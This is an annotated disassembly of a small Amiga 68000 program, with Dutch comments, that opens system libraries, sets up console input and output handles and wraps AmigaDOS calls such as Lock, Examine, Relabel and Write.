MOVE.L 8(A3),D1 ;13A0: 222B0008
JSR -48(A6) ;13A4: 4EAEFFD0
CMP.L D3,D0 ;13A8: B083
BGE.S LAB_0146 ;13AA: 6C02
MOVEQ #-1,D5 ;13AC: 7AFF
LAB_0146:
ADD.L D3,(A4) ;13AE: D794
LAB_0147:
MOVEQ #32,D0 ;13B0: 7020
OR.L D0,20(A3) ;13B2: 81AB0014
LAB_0148:
TST.L D5 ;13B6: 4A85
BPL.S LAB_0149 ;13B8: 6A08
JSR -132(A6) ;13BA: 4EAEFF7C
MOVE.L D0,24(A3) ;13BE: 27400018
LAB_0149:
MOVE.L D5,D0 ;13C2: 2005
MOVEM.L (A7)+,D2-D6/A2-A6 ;13C4: 4CDF7C7C
RTS ;13C8: 4E75
DC.W $0000 ;13CA
LAB_014A:
LEA LAB_018B,A0 ;13CC: 41F9000017C0
BSR.S LAB_014B ;13D2: 610E
LEA LAB_018C,A0 ;13D4: 41F900001814
BSR.S LAB_014B ;13DA: 6106
LEA LAB_018D,A0 ;13DC: 41F900001868
; a0 bevat pointer naar LAB_018D
; routine maakt waarschijnlijk reloc table aan in 18b en 18c en 18d
LAB_0124
LAB_013A
LAB_003B
LAB_0138
LAB_0030
LAB_003A
LAB_0034
LAB_011E
LAB_0119
; LAB_018b, LAB_018c en LAB_18d bevatten hetzelfde...
LAB_014B:
LEA 48(A0),A0 ;13E2: 41E80030 maak reloc table aan...
LEA LAB_0124(PC),A1 ;13E6: 43FAFDC8 copieer ptr naar A1
MOVE.L A1,(A0)+ ;13EA: 20C9 copieer ptr naar A0, longword verder
LEA LAB_013A(PC),A1 ;13EC: 43FAFEFA
MOVE.L A1,(A0)+ ;13F0: 20C9
LEA LAB_003B(PC),A1 ;13F2: 43FAF1A8
MOVE.L A1,(A0)+ ;13F6: 20C9
LEA LAB_0138(PC),A1 ;13F8: 43FAFEB2
MOVE.L A1,(A0)+ ;13FC: 20C9
LEA LAB_0030(PC),A1 ;13FE: 43FAF0A8
MOVE.L A1,(A0)+ ;1402: 20C9
LEA LAB_003A(PC),A1 ;1404: 43FAF176
MOVE.L A1,(A0)+ ;1408: 20C9
LEA LAB_0034(PC),A1 ;140A: 43FAF0EC
MOVE.L A1,(A0)+ ;140E: 20C9
LEA LAB_011E(PC),A1 ;1410: 43FAFD36
MOVE.L A1,(A0)+ ;1414: 20C9
LEA LAB_0119(PC),A1 ;1416: 43FAFCD8
MOVE.L A1,(A0) ;141A: 2089
RTS ;141C: 4E75
LAB_014C:
MOVEM.L D3/A2/A6,-(A7) ;141E: 48E71022
MOVEA.L dosstore,A6 ;1422: 2C79000017A4
JSR _LVOOutput(A6) ;1428: 4EAEFFC4
LEA LAB_018B,A2 ;142C: 45F9000017C0 routine lijst ptr to A2
MOVE.L D0,8(A2) ;1432: 25400008 copy stdout to 8 after A2
MOVE.L D0,D1 ;1436: 2200 copy stdout to D1
JSR IsInteractive(A6) ;1438: 4EAEFF28
TST.L D0 ;143C: 4A80 stdout is terminal??
BEQ.S LAB_014D ;143E: 6712 nope...something wrong??
MOVEQ #4,D3 ;1440: 7604 D3=4
OR.L D3,20(A2) ;1442: 87AA0014
PEA (200).W ;1446: 487800C8
PEA (-1).W ;144A: 4878FFFF
CLR.L -(A7) ;144E: 42A7 stack leeg
BRA.S LAB_014E ;1450: 600A
LAB_014D:
PEA (2048).W ;1452: 48780800
PEA (1).W ;1456: 48780001
MOVE.L D0,-(A7) ;145A: 2F00
LAB_014E:
MOVE.L A2,-(A7) ;145C: 2F0A a2 op stack
BSR LAB_0025 ;145E: 6100EFA8
LEA 16(A7),A7 ;1462: 4FEF0010
JSR _LVOInput(A6) ;1466: 4EAEFFCA get stdin
LEA LAB_018C,A2 ;146A: 45F900001814 get ptr to buffer
MOVE.L D0,8(A2) ;1470: 25400008
MOVE.L D0,D1 ;1474: 2200
JSR IsInteractive(A6) ;1476: 4EAEFF28 is it a terminal?
TST.L D0 ;147A: 4A80
BEQ.S LAB_014F ;147C: 6712 nope...something wrong?
MOVEQ #4,D3 ;147E: 7604 all ok..
OR.L D3,20(A2) ;1480: 87AA0014
PEA (200).W ;1484: 487800C8
PEA (-1).W ;1488: 4878FFFF
CLR.L -(A7) ;148C: 42A7
BRA.S LAB_0150 ;148E: 600A skip...
LAB_014F:
PEA (2048).W ;1490: 48780800
PEA (1).W ;1494: 48780001
MOVE.L D0,-(A7) ;1498: 2F00
LAB_0150:
MOVE.L A2,-(A7) ;149A: 2F0A
BSR LAB_0025 ;149C: 6100EF6A
LEA 16(A7),A7 ;14A0: 4FEF0010
JSR _LVOOutput(A6) ;14A4: 4EAEFFC4
LEA LAB_018D,A2 ;14A8: 45F900001868
MOVE.L D0,8(A2) ;14AE: 25400008
MOVE.L D0,D1 ;14B2: 2200
JSR IsInteractive(A6) ;14B4: 4EAEFF28
TST.L D0 ;14B8: 4A80
BEQ.S LAB_0151 ;14BA: 6712
MOVEQ #4,D3 ;14BC: 7604
OR.L D3,20(A2) ;14BE: 87AA0014
PEA (200).W ;14C2: 487800C8
PEA (-1).W ;14C6: 4878FFFF
CLR.L -(A7) ;14CA: 42A7
BRA.S LAB_0152 ;14CC: 600A
LAB_0151:
PEA (2048).W ;14CE: 48780800
PEA (1).W ;14D2: 48780001
MOVE.L D0,-(A7) ;14D6: 2F00
LAB_0152:
MOVE.L A2,-(A7) ;14D8: 2F0A
BSR LAB_0025 ;14DA: 6100EF2C
LEA 16(A7),A7 ;14DE: 4FEF0010
MOVEM.L (A7)+,D3/A2/A6 ;14E2: 4CDF4408
RTS ;14E6: 4E75
LAB_0153:
LEA LAB_018B,A0 ;14E8: 41F9000017C0
BSR.S LAB_0154 ;14EE: 610E
LEA LAB_018C,A0 ;14F0: 41F900001814
BSR.S LAB_0154 ;14F6: 6106
LEA LAB_018D,A0 ;14F8: 41F900001868
LAB_0154:
MOVE.L A0,-(A7) ;14FE: 2F08
MOVEA.L 76(A0),A0 ;1500: 2068004C
JSR (A0) ;1504: 4E90
ADDQ #4,A7 ;1506: 584F
RTS ;1508: 4E75
DC.W $0000 ;150A
LAB_0155:
JSR LAB_014A ;150C: 4EB9000013CC maak reloc table in A0 aan?
JSR opendos ;1512: 4EB900001598 open dos library
JSR openmathtrans ;1518: 4EB900000630 open mathieeedoubtrans library
JSR openmathbas ;151E: 4EB9000005E8 open mathieeedoubbas.library
JSR openint ;1524: 4EB9000015CC
JSR LAB_014C ;152A: 4EB90000141E
RTS ;1530: 4E75
LAB_0156:
JSR EXT_0009 ;1532: 4EB94EB90000
LAB_0156_1:
MOVE.B 20153(A0),(A2)+ ;1538: 14E84EB9
DC.W $0000 ;153C
DC.W $090A ;153E
JSR EXT_0002 ;1540: 4EB90000064C
JSR EXT_0001 ;1546: 4EB900000604
JSR EXT_0005 ;154C: 4EB9000015E0
JSR EXT_0004 ;1552: 4EB9000015AC
JSR EXT_0003 ;1558: 4EB900000792
RTS ;155E: 4E75
SECTION S_1,CODE
SECSTRT_1:
MOVE.L 4(A7),D0 ;1560: 202F0004
MOVEA.L 8(A7),A0 ;1564: 206F0008
MOVEA.L D0,A1 ;1568: 2240
LAB_0158:
TST.B (A1)+ ;156A: 4A19
BNE.S LAB_0158 ;156C: 66FC
SUBQ #1,A1 ;156E: 5349
LAB_0159:
MOVE.B (A0)+,(A1)+ ;1570: 12D8
BNE.S LAB_0159 ;1572: 66FC
RTS ;1574: 4E75
DC.W $0000 ;1576
LAB_015A:
MOVEA.L 8(A7),A0 ;1578: 206F0008
MOVE.L 4(A7),D0 ;157C: 202F0004
MOVEA.L D0,A1 ;1580: 2240
LAB_015B:
MOVE.B (A0)+,(A1)+ ;1582: 12D8
BNE.S LAB_015B ;1584: 66FC
RTS ;1586: 4E75
LAB_015C:
MOVEQ #-1,D0 ;1588: 70FF
MOVEA.L 4(A7),A0 ;158A: 206F0004
LAB_015D:
ADDQ.L #1,D0 ;158E: 5280
TST.B (A0)+ ;1590: 4A18
BNE.S LAB_015D ;1592: 66FA
RTS ;1594: 4E75
DC.W $0000 ;1596
opendos:
MOVEA.L (ABSEXECBASE).W,A6 ;1598: 2C780004
LEA dosname(PC),A1 ;159C: 43FA0022 haal dos.library naam op
JSR _LVOOldOpenLibrary(A6) ;15A0: 4EAEFE68 open dos, oude manier
MOVE.L D0,dosstore ;15A4: 23C0000017A4 copieer pointer naar dosstore
RTS ;15AA: 4E75
closedos:
MOVE.L dosstore,D0 ;15AC: 2039000017A4
BEQ.S LAB_0160 ;15B2: 670A exit if error
MOVEA.L D0,A1 ;15B4: 2240
MOVEA.L (ABSEXECBASE).W,A6 ;15B6: 2C780004
JSR _LVOCloseLibrary(A6) ;15BA: 4EAEFE62
LAB_0160:
RTS ;15BE: 4E75
dosname:
DC.W $646F ;15C0 'dos.library',0
DC.W $732E ;15C2
DC.W $6C69 ;15C4
BHI.S LAB_016A ;15C6: 6272
BSR.S LAB_016A+2 ;15C8: 6172
DC.W $7900 ;15CA
openint:
MOVEA.L (ABSEXECBASE).W,A6 ;15CC: 2C780004
LEA intname(PC),A1 ;15D0: 43FA0022 haal intuition.library naam op
JSR _LVOOldOpenLibrary(A6) ;15D4: 4EAEFE68 open lib
MOVE.L D0,intuitionstore ;15D8: 23C0000017A8 copieer ptr naar intuitionstorage
RTS ;15DE: 4E75
closeint:
MOVE.L intuitionstore,D0 ;15E0: 2039000017A8 naar d0
BEQ.S LAB_0164 ;15E6: 670A exit wanneer error
MOVEA.L D0,A1 ;15E8: 2240 copieer ptr van intuition naar A1
MOVEA.L (ABSEXECBASE).W,A6 ;15EA: 2C780004
JSR _LVOCloseLibrary(A6) ;15EE: 4EAEFE62 close library
LAB_0164:
RTS ;15F2: 4E75
intname:
BVS.S LAB_016D ;15F4: 696E 'intuition.library',0
MOVEQ #117,D2 ;15F6: 7475
BVS.S LAB_016F+2 ;15F8: 6974
DC.W $696F ;15FA
BGT.S LAB_0168 ;15FC: 6E2E
DC.W $6C69 ;15FE
BHI.S LAB_0170+2 ;1600: 6272
BSR.S LAB_0170+4 ;1602: 6172
DC.W $7900 ;1604
DC.W $0000 ;1606
LAB_0166:
MOVEM.L D2/A6,-(A7) ;1608: 48E72002
MOVEA.L dosstore,A6 ;160C: 2C79000017A4
MOVEM.L 12(A7),D1-D2 ;1612: 4CEF0006000C
JSR AllocDosObject(A6) ;1618: 4EAEFF1C
MOVEM.L (A7)+,D2/A6 ;161C: 4CDF4004
RTS ;1620: 4E75
DC.W $0000 ;1622
LAB_0167:
MOVE.L A6,-(A7) ;1624: 2F0E
MOVEA.L dosstore,A6 ;1626: 2C79000017A4
LAB_0168:
MOVE.L 8(A7),D1 ;162C: 222F0008
JSR _LVOClose(A6) ;1630: 4EAEFFDC
MOVEA.L (A7)+,A6 ;1634: 2C5F
RTS ;1636: 4E75
LAB_0169:
MOVE.L A6,-(A7) ;1638: 2F0E
LAB_016A:
MOVEA.L dosstore,A6 ;163A: 2C79000017A4
MOVE.L 8(A7),D1 ;1640: 222F0008
JSR _LVODCurrentDir(A6) ;1644: 4EAEFF82
MOVEA.L (A7)+,A6 ;1648: 2C5F
RTS ;164A: 4E75
LAB_016C:
MOVEM.L D2/A6,-(A7) ;164C: 48E72002
MOVEA.L dosstore,A6 ;1650: 2C79000017A4
MOVEM.L 12(A7),D1-D2 ;1656: 4CEF0006000C
JSR _LVOExNext(A6) ;165C: 4EAEFF94
MOVEM.L (A7)+,D2/A6 ;1660: 4CDF4004
LAB_016D:
RTS ;1664: 4E75
DC.W $0000 ;1666
LAB_016E:
MOVEM.L D2/A6,-(A7) ;1668: 48E72002
LAB_016F:
MOVEA.L dosstore,A6 ;166C: 2C79000017A4
LAB_0170:
MOVEM.L 12(A7),D1-D2 ;1672: 4CEF0006000C
JSR _LVOExamine(A6) ;1678: 4EAEFF9A
MOVEM.L (A7)+,D2/A6 ;167C: 4CDF4004
RTS ;1680: 4E75
DC.W $0000 ;1682
LAB_0172:
MOVE.L A6,-(A7) ;1684: 2F0E
MOVEA.L dosstore,A6 ;1686: 2C79000017A4
MOVE.L 8(A7),D1 ;168C: 222F0008
JSR _LVOExit(A6) ;1690: 4EAEFF70
MOVEA.L (A7)+,A6 ;1694: 2C5F
RTS ;1696: 4E75
LAB_0173:
MOVEM.L D2/A6,-(A7) ;1698: 48E72002
MOVEA.L dosstore,A6 ;169C: 2C79000017A4
MOVEM.L 12(A7),D1-D2 ;16A2: 4CEF0006000C
JSR _LVOFreeDosObject(A6) ;16A8: 4EAEFF16
MOVEM.L (A7)+,D2/A6 ;16AC: 4CDF4004
RTS ;16B0: 4E75
DC.W $0000 ;16B2
LAB_0174:
MOVE.L A6,-(A7) ;16B4: 2F0E
MOVEA.L dosstore,A6 ;16B6: 2C79000017A4
JSR _LVOIoErr(A6) ;16BC: 4EAEFF7C
MOVEA.L (A7)+,A6 ;16C0: 2C5F
RTS ;16C2: 4E75
LAB_0175:
MOVEM.L D2/A6,-(A7) ;16C4: 48E72002
MOVEA.L dosstore,A6 ;16C8: 2C79000017A4
MOVEM.L 12(A7),D1-D2 ;16CE: 4CEF0006000C
JSR _LVOLock(A6) ;16D4: 4EAEFFAC
MOVEM.L (A7)+,D2/A6 ;16D8: 4CDF4004
RTS ;16DC: 4E75
DC.W $0000 ;16DE
LAB_0176:
MOVEM.L D2/A6,-(A7) ;16E0: 48E72002
MOVEA.L dosstore,A6 ;16E4: 2C79000017A4
MOVEM.L 12(A7),D1-D2 ;16EA: 4CEF0006000C
JSR _LVOOpen(A6) ;16F0: 4EAEFFE2
MOVEM.L (A7)+,D2/A6 ;16F4: 4CDF4004
RTS ;16F8: 4E75
DC.W $0000 ;16FA
LAB_0177:
MOVEM.L D2/A6,-(A7) ;16FC: 48E72002
MOVEA.L dosstore,A6 ;1700: 2C79000017A4
MOVEM.L 12(A7),D1-D2 ;1706: 4CEF0006000C
JSR _LVORelabel(A6) ;170C: 4EAEFD30
MOVEM.L (A7)+,D2/A6 ;1710: 4CDF4004
RTS ;1714: 4E75
DC.W $0000 ;1716
LAB_0178:
MOVE.L A6,-(A7) ;1718: 2F0E
MOVEA.L dosstore,A6 ;171A: 2C79000017A4
MOVE.L 8(A7),D1 ;1720: 222F0008
JSR _LVOUnlock(A6) ;1724: 4EAEFFA6
MOVEA.L (A7)+,A6 ;1728: 2C5F
RTS ;172A: 4E75
LAB_0179:
MOVEM.L D2-D3/A6,-(A7) ;172C: 48E73002
MOVEA.L dosstore,A6 ;1730: 2C79000017A4
MOVEM.L 16(A7),D1-D3 ;1736: 4CEF000E0010
JSR _LVOWrite(A6) ;173C: 4EAEFFD0
MOVEM.L (A7)+,D2-D3/A6 ;1740: 4CDF400C
RTS ;1744: 4E75
DC.W $0000 ;1746
LAB_017A:
MOVE.L A6,-(A7) ;1748: 2F0E
MOVEA.L intuitionstore,A6 ;174A: 2C79000017A8
MOVEM.L 8(A7),A0-A1 ;1750: 4CEF03000008
JSR _LVOLock(A6) ;1756: 4EAEFFAC
MOVEA.L (A7)+,A6 ;175A: 2C5F
RTS ;175C: 4E75
DC.W $0000 ;175E
SECTION S_2,DATA
SECSTRT_2:
DS.W 2 ;1760
LAB_017C:
DS.W 2 ;1764
LAB_017D:
DS.W 3 ;1768
DC.W $03C3 ;176E
LAB_017E:
DS.W 2 ;1770
LAB_017F:
DS.W 2 ;1774
LAB_0180:
DS.W 2 ;1778
LAB_0181:
DC.W $2330 ;177C
DC.W $2D20 ;177E
DC.W $2B00 ;1780
DS.W 1 ;1782
LAB_0182:
DC.W $3031 ;1784
DC.W $3233 ;1786
DC.W $3435 ;1788
DC.W $3637 ;178A
DC.W $3839 ;178C
DC.W $6162 ;178E
DC.W $6364 ;1790
DC.W $6566 ;1792
LAB_0183:
DC.W $3031 ;1794
DC.W $3233 ;1796
DC.W $3435 ;1798
DC.W $3637 ;179A
DC.W $3839 ;179C
DC.W $4142 ;179E
DC.W $4344 ;17A0
DC.W $4546 ;17A2
dosstore:
DS.W 2 ;17A4
intuitionstore:
DS.W 2 ;17A8
mathbasstore:
DS.W 2 ;17AC
mathtransstore:
DS.W 2 ;17B0
LAB_0188:
DS.W 2 ;17B4
LAB_0189:
DS.W 2 ;17B8
LAB_018A:
DS.W 2 ;17BC
LAB_018B:
DS.W 9 ;17C0
DC.W $0002 ;17D2
DS.W 32 ;17D4
LAB_018C:
DS.W 9 ;1814
DC.W $0001 ;1826
DS.W 32 ;1828
LAB_018D:
DS.W 9 ;1868
DC.W $0002 ;187A
DS.W 32 ;187C
SECTION S_3,BSS
SECSTRT_3:
DS.L 1 ;18BC
LAB_018F:
DS.L 1 ;18C0
END